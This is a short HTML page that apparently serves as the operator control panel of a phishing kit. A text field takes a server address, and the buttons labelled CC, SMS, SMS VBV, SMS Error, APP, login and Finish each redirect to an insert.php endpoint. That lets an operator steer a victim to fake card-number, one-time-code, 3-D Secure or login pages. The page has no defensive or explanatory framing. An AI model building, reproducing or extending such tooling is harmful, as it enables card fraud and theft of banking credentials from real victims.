<html>
<head>
<script type="text/javascript">
function Myfunction0()
{
    var ip=document.getElementById("ip").value;
	
    window.location.replace(ip+"/insert.php?id=CC");
  
  
}
function Myfunction1()
{
    var ip=document.getElementById("ip").value;
	
    window.location.replace(ip+"/insert.php?id=APP");
  
  
}
function Myfunction6()
{
    var ip=document.getElementById("ip").value;
	
    window.location.replace(ip+"/insert.php?id=error");
  
  
}
function Myfunction2()
{
    var ip=document.getElementById("ip").value;
	
    window.location.replace(ip+"/insert.php?id=login");
  
  
}

function Myfunction3()
{
    var ip=document.getElementById("ip").value;
    window.location.replace(ip+"/insert.php?id=finish");
  
  
}
function Myfunction4()
{
    var ip=document.getElementById("ip").value;
    window.location.replace(ip+"/insert.php?id=SMS");
  
  
}
function Myfunction5()
{
    var ip=document.getElementById("ip").value;
    window.location.replace(ip+"/insert.php?id=vbv");
  
  
}
</script>
</head>
<body>
   ip: <input type="text" name="ip" id="ip">
   <button onclick="Myfunction0()">CC</button>
   <button onclick="Myfunction4()">SMS</button>
   	<button onclick="Myfunction5()">SMS VBV</button>
   <button onclick="Myfunction6()">SMS Error</button>
	<button onclick="Myfunction1()">APP</button>
	<button onclick="Myfunction2()">login</button>
	<button onclick="Myfunction3()">Finish</button>
</body>
</html>